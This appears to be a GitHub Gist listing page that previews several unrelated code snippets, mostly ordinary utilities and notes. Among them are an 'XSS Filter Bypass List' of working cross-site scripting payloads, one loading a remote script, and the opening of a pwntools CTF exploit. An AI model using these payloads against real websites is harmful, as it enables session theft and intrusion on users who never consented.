Skip to content

Instantly share code, notes, and snippets.

@tonious
tonious / hash.c
Last active June 21, 2024 00:57
A quick hashtable implementation in c.
/* Read this comment first: https://gist.github.com/tonious/1377667#gistcomment-2277101
* 2017-12-05
*
* -- T.
*/
#define _XOPEN_SOURCE 500 /* Enable certain library functions (strdup) on linux. See feature_test_macros(7) */
#include <stdlib.h>
#include <stdio.h>
@chikuzen
chikuzen / finesharp.py
Created July 29, 2013 11:17
finesharp for vapoursynth r19 or later
#finesharp.py - finesharp module for VapourSynth
#original author : Didee (http://forum.doom9.org/showthread.php?t=166082)
# requirement: RemoveGrain.dll, Repair.dll
# VapourSynth r19 or later
import vapoursynth as vs
class InvalidArgument(Exception):
def __init__(self, value):
@myusuf3
myusuf3 / delete_git_submodule.md
Created November 3, 2014 17:36
How effectively delete a git submodule.

To remove a submodule you need to:

  • Delete the relevant section from the .gitmodules file.
  • Stage the .gitmodules changes git add .gitmodules
  • Delete the relevant section from .git/config.
  • Run git rm --cached path_to_submodule (no trailing slash).
  • Run rm -rf .git/modules/path_to_submodule (no trailing slash).
  • Commit git commit -m "Removed submodule "
  • Delete the now untracked submodule files rm -rf path_to_submodule
@rvrsh3ll
rvrsh3ll / xxsfilterbypass.lst
Last active July 15, 2024 04:30
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@wkrsz
wkrsz / gist:3d5ff7f908a180b87498
Last active December 11, 2018 07:03
Stop Safari hanging when selecting the address bar or opening a new tab
This shit has been bugging me for too long, so I went on a hunt and found a workaround.
The Symptoms are as follows:
* Clicking the address bar results in a 1-4 second delay
* Opening links in new tabs results in a 1-4 second delay
* +T results in a 1-4 second delay
* `PressAndHold[<pid>]: IMKServer Stall detected` is present in `/var/log/system.log` at the time of the hang.
It appears to be to do with the PressAndHold helper - the thing that shows an IOS style selection of accents when you hold a key down.
The fix may have some unwanted effects, I haven't really noticed any.
@igv
igv / adaptive-sharpen.glsl
Last active July 7, 2024 23:55
Optimal sharpening strength (according to objective metrics) - 0.5. Can be applied only to luma channel (change OUTPUT to LUMA). To use it on-demand add the following line to input.conf: n change-list glsl-shaders toggle "~~/adaptive-sharpen.glsl"
// Copyright (c) 2015-2021, bacondither
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions
// are met:
// 1. Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer
// in this position and unchanged.
// 2. Redistributions in binary form must reproduce the above copyright
@yaci
yaci / google-drive-md5-checksum
Last active May 31, 2024 15:50
List google drive md5 checksum for all files
#!/usr/bin/python3
"""
!! IMPORTANT !!
!! READ THIS !!
In order to run this script you need python3 and pip3 installed.
You also need some additional python modules. Please run
sudo pip3 install httplib2 oauth2client
sudo pip3 install --upgrade google-api-python-client
#! /bin/bash
# Sets up outgoing dummynet in pf firewall suitable for use to throttle outgoing network
# connections. gtihub.com/tylertreat/comcast is a much nicer tool but I couldn't get it to work due
# to shell issues and more - it seemed to only setup inbound rules in pf which don't affect outbound
# TCP connections in my tests.
TARGET=$1
PIPECFG=${2:-"plr 1"}
@0xPwny
0xPwny / exploit.py
Last active September 12, 2017 22:14
ASIS CTF FINALS 2017 - mary_morton pwnable
#!/usr/bin/python
from pwn import *
#r = process("./mary_morton")
r = remote('146.185.132.36',19153)
def fmtstr(pld):
r.recvuntil('Exit')
r.sendline("2")
@c910335
c910335 / answers.json
Last active March 10, 2018 13:46
SITCON 知識王
{
"資安趨勢部落格在文章中指出「伺服器變挖礦機將是未來日漸嚴重的問題」,並以 JenkinsMiner 為例,含有漏洞的伺服器一旦被 JenkinsMiner 入侵且成功部屬挖礦程式,將會造成 ___________ 影響,請問 _________ 為?":"效能嚴重變慢",
"趨勢科技在〈典範轉移〉一文中提出,BEC 詐騙已開始放棄使用鍵盤側錄程式,而改用 ____________ 進行。":"網路釣魚 PDF 附件",
"請問下列何者不為剖析器?":"LSR",
"chroot 是在 UNIX 系統的一個操作,針對正在運作的軟體行程和它的子行程,改變它外顯的根目錄。chroot 程式可歸類為何種資安相關的應用?":"Sandbox",
"下列何者是 Ubuntu 的套件管理程式?":"APT",
"可以用哪個程式查詢從本地到另一個 IP Address 所經過的 router?":"traceroute",
"140.128.77.10/25 這個網段有多少可用的 IP?":"126",
"在二元樹走訪的方法中,我們常聽到 LVR、LRV、VLR 三種方法,請問 V 代表?":"Visiting,對當前的 node 進行print、assign或其他操作",
"Linux 裡有許多與系統相關的操作需要有 root 的權限,哪個指令可以幫助我們切換成 root?":"su",